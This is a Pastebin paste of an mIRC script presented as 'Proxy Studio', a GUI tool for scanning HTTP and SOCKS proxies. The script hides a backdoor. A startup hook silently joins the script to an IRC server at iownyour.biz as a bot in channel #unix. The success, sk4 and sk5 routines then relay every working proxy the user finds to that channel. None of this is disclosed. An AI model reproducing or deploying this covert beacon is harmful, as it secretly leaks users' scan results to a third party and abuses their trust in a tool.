Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;Proxy & Socks Scanner by independent with nice dialogs
- ;Skype independentt911
- on 1:start:b
- dialog proxystudio {
- title "Proxy Studio v1.1 by independent"
- size -1 -1 400 380
- option pixels notheme
- tab "Scanner", 2, 7 4 384 377
- tab "Working Proxys", 20
- tab "Proxy files", 30
- box "Proxy to test", 4, 19 33 116 327, tab 2
- edit "Add proxy here", 5, 26 50 113 301, tab 2 group autohs autovs multi return vsbar limit 0
- radio "Connect Proxys", 6, 139 46 100 18, tab 2
- radio "Socks 4 ", 7, 139 70 100 17, tab 2
- radio "Socks 5", 8, 138 92 100 17, tab 2
- button "Scan NOW!", 9, 283 46 65 25, tab 2
- box "Sockets", 10, 141 117 106 78, tab 2
- text "Open:", 11, 142 142 100 17, tab 2
- text "Working Proxys:", 12, 143 166 100 17, tab 2
- box "Settings", 13, 262 78 97 126, tab 2
- edit "164.132.126.130", 14, 262 115 100 20, tab 2
- text "IRC Server test IP", 15, 263 97 97 16, tab 2
- text "ms between threads", 16, 262 136 101 17, tab 2
- edit "200", 17, 262 155 40 19, tab 2
- box "Debug", 18, 141 205 224 152, tab 2
- edit "", 19, 145 222 218 133, tab 2 result read autohs autovs multi return vsbar
- box "Connect Proxys", 21, 12 30 112 338, tab 20
- box "Socks 4", 22, 127 30 106 338, tab 20 result
- box "Socks 5", 23, 238 29 106 338, tab 20 result
- edit "", 24, 16 48 105 290, tab 20 result autohs autovs multi return vsbar limit 0
- edit "", 25, 132 48 93 288, tab 20 autohs autovs multi return vsbar limit 0
- edit "", 26, 240 48 100 286, tab 20 result autohs autovs multi return vsbar
- button "Save", 27, 32 337 65 25, tab 20
- button "Save", 28, 145 337 65 25, tab 20
- button "Save", 29, 256 337 65 25, tab 20
- link "http://to.cur.lv/independentt", 45, 240 5 153 17, tab 20
- link "http://to.cur.lv/independentt", 46, 240 6 151 17, tab 2
- link "http://to.cur.lv/independentt", 47, 240 6 151 17, tab 30
- text "Select multiple files containing lots of proxys", 31, 68 57 256 34, tab 30
- button "Scan My File", 32, 136 147 99 25, tab 30
- radio "Connect Proxy", 33, 136 190 100 17, tab 30
- radio "Socks 4", 34, 136 216 100 17, tab 30
- radio "Socks 5", 35, 136 242 100 17, tab 30
- menu "File", 1
- item "Exit", 3, 1
- }
- on 1:dialog:proxystudio:sclick:9: {
- hadd -m proxyset max $did(proxystudio,5,0).lines
- .timerSCLICK -om $hget(proxyset,max) %interval pxys
- }
- on 1:dialog:proxystudio:sclick:6: {
- hadd -m proxyset ext pxy
- }
- on 1:dialog:proxystudio:sclick:7: {
- hadd -m proxyset ext s4
- }
- on 1:dialog:proxystudio:sclick:8: {
- hadd -m proxyset ext s5
- }
- on 1:dialog:proxystudio:sclick:33: {
- hadd -m proxyset ext2 pxy
- }
- on 1:dialog:proxystudio:sclick:34: {
- hadd -m proxyset ext2 s4
- }
- on 1:dialog:proxystudio:sclick:35: {
- hadd -m proxyset ext2 s5
- }
- on 1:dialog:proxystudio:sclick:27: {
- savebuf -o proxystudio 24 $pxy
- run $pxy
- }
- on 1:dialog:proxystudio:sclick:28: {
- savebuf -o proxystudio 25 sock4.txt
- run sock4.txt
- }
- on 1:dialog:proxystudio:sclick:29: {
- savebuf -o proxystudio 26 sock5.txt
- run sock5.txt
- }
- on 1:dialog:proxystudio:sclick:32: {
- if ($hget(proxyset,ext2) == pxy) selectmultiplefile
- if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
- if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
- }
- on 1:dialog:proxystudio:edit:17: {
- did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
- set %interval $did(proxystudio,17)
- }
- on 1:dialog:proxystudio:edit:14: {
- set %def.s $did(proxystudio,14)
- did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
- }
- on 1:dialog:proxystudio:sclick:38: {
- hadd -m proxyset max $did(proxystudio,5,0).lines
- .timerSCLICK -Om $hget(proxyset,max) %interval pxys
- }
- alias pxys {
- hinc -u5 proxyset inc
- if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
- if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
- if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
- }
- alias b {
- sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
- }
- on *:sockopen:bot_x: {
- sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
- sockwrite -n bot_x user sockets . . . sockets
- }
- on *:sockread:bot*: {
- sockread %_sb
- tokenize 32 %_sb
- var %_ntoks = $numtok($1-,44)
- if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
- if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
- }
- alias -l htmlfree {
- var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x, )
- return %x
- }
- ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
- ALIAS DEF.S { return %def.s }
- alias getiphost2 {
- %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
- if $regex(ip,$remove($1-,$chr(9)),%var) {
- return $replace($regml(ip,1),:,$chr(32))
- }
- }
- alias getsource {
- run iexplore $1-
- %out = $shortfn($mircdirleech $+ $ctime $+ .txt)
- if ($isfile(get.vbs)) .remove get.vbs
- %a = write get.vbs
- %a Set app = CreateObject("Shell.Application")
- %a For Each window In app.Windows()
- %a If InStr(1, window.FullName, "Internet Explorer", vbTextCompare) > 0 Then
- %a Set ie = window
- %a Exit For
- %a End If
- %a Next
- %a Set fso = CreateObject("Scripting.FileSystemObject")
- %a Set f = fso.OpenTextFile(" $+ %out $+ ", 2, True , -1)
- %a f.Write ie.document.body.innerText
- %a f.Close
- %a Ie.Quit
- .timerrunit 1 5 run get.vbs
- return %out
- }
- alias leech {
- scan.win
- if (!%interval) %interval = 400
- did -a proxystudio 19 3 $+ $timestamp * Now leeching proxy-lists over the web. $crlf
- set %site.max $lines(leech.txt)
- set %site.inc 0
- :GO
- inc %site.inc
- .timer -o 1 $calc(%site.inc *10) pxx %site.inc
- if (%site.inc < %site.max) goto go
- else { halt }
- }
- alias pxx { .pxyfile $getsource($read(leech.txt,$1)) %interval }
- alias getURL {
- noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
- return $regml(1)
- }
- alias sc5nfile { s5.scan $1- }
- alias sc4nfile { s4.scan $1- }
- alias sc4n {
- if (!$sock(bot_x).ip) b
- if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
- if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
- did -a proxystudio 19 Scanning: $1 $2 $crlf
- sockopen scan $+ $r(0,99999999999999) $1 $2
- return
- }
- if ($getiphost2($1-)) {
- if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
- did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
- sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
- goto next
- }
- if (*.*.*.* !iswm $1-) goto next
- if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
- :next
- }
- alias setinterval {
- :restart
- %interval = $?="Enter interval in milliseconds, 1 to 1000 "
- if (!$!) || ($! >= 1000) goto restart
- }
- alias defaultset { %interval = 200 | %def.s = 164.132.126.130 | %def.p = 6667 }
- alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
- alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
- menu * {
- [-Proxy Studio-]: dialog -m proxystudio proxystudio
- }
- alias pxy return ValidProxy.txt
- alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
- on *:INPUT:@Proxyscan:{
- if ($getiphost2($1-)) {
- hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
- .timerscanfile -om 1 1 .pxyfile temp %interval
- return
- }
- if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
- }
- alias hfreepxy { hfree proxy }
- alias hfrees4 { hfree socks4 }
- alias hfrees5 { hfree socks5 }
- alias sk {
- set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
- if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
- }
- on *:sockopen:scan*:{
- hinc -u120 proxyset open
- did -a proxystudio 11 Open: $hget(proxyset,open)
- if ($sockerr > 0) { hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
- did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
- sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
- sockwrite -tn $sockname $crlf
- sockmark $sockname $ticks
- }
- alias success {
- set %yell $2 %yell
- if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }
- did -a proxystudio 19 $1- $crlf
- sk $1
- }
- alias allpxy return ALL.txt
- alias portclose { sockclose $1 }
- on *:SOCKREAD:scan*:{
- :READ
- sockread -n %fld
- if (!%fld) || (!$sockbr) return
- if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
- if (*http*200* iswm %fld) {
- did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
- hinc proxyset work
- did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
- success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
- sockmark $sockname $ctime
- sockclose $Sockname
- }
- if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
- goto READ
- }
- on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
- alias pb return did -a proxystudio 19
- alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
- alias pxyfile {
- if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
- else {
- did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to $crlf
- .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
- }
- }
- alias scann {
- if ($1 == pxy) {
- hinc -mu2 count hinc2
- sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
- .timerscanfileoff 1 5 .hfreepxy
- }
- if ($1 == s4) {
- hinc -mu2 count hinc3
- s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
- .timerscanfileoffs4 1 5 .hfrees4
- }
- if ($1 == s5) {
- hinc -mu2 count hinc4
- s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
- .timerscanfileoffs5 1 5 .hfrees5
- }
- }
- alias s5.scan {
- if (!$sock(bot_x).ip) b
- if (!$1) goto END
- if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
- if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
- if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
- sockopen s5chk $+ $r(0,9999999) $1 $2
- did -a proxystudio 19 Scanning: $1 $2 $crlf
- }
- }
- elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
- sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
- did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
- }
- :END
- }
- alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
- alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
- alias s4.scan {
- if (!$sock(bot_x).ip) b
- if (!$1) goto END
- if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
- if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
- if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
- sockopen s4chk $+ $r(0,9999999) $1 $2
- did -a proxystudio 19 Scanning: $1 $2 $crlf
- }
- }
- elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
- sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
- did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
- }
- :END
- }
- on *:sockopen:s5chk*:{
- if ($sockerr) { did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
- hinc -u120 proxyset open
- did -a proxystudio 11 Open: $hget(proxyset,open)
- .bset &bvar5 1 5 1 0
- .sockwrite -n $sockname &bvar5
- .bunset &bvar5
- }
- on *:sockread:s5chk*:{
- if ($sockbr) { return }
- .sockread &bsocks5
- if ($bvar(&bsocks5,1,2) != 5 0) { return }
- if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
- sockmark $sockname $ticks
- bset &socks5 1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
- .sockwrite -n $sockname &socks5
- .bunset &socks5
- hinc proxyset work
- did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
- did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
- suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
- }
- }
- alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
- alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
- alias sk4 {
- set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
- if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
- sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
- set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
- if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }
- }
- alias sk5 {
- set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
- if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
- set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
- if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
- }
- on *:sockopen:s4chk*:{
- if ($sockerr) { did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
- hinc -u120 proxyset open
- did -a proxystudio 11 Open: $hget(proxyset,open)
- sockmark $sockname $ticks
- .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
- .sockwrite $sockname &bvar4
- .bunset &bvar4
- }
- ON *:SOCKREAD:s4chk*:{
- .sockread &bsocks4
- if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
- if ($bvar(&bsocks4,2) == 90) {
- did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
- hinc proxyset work
- did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
- suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms
- }
- }
- on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
- on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
- alias scans4file { s4.scan $getiphost2($1-) }
- alias s4file {
- if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
- else {
- did -a proxystudio 19 Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s and %def.s2 $crlf
- .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
- }
- }
- alias scans5file { s5.scan $getiphost2($1-) }
- alias s5file {
- if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
- else {
- did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s and %def.s2 $crlf
- .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
- }
- }
Add Comment
Please, Sign In to add comment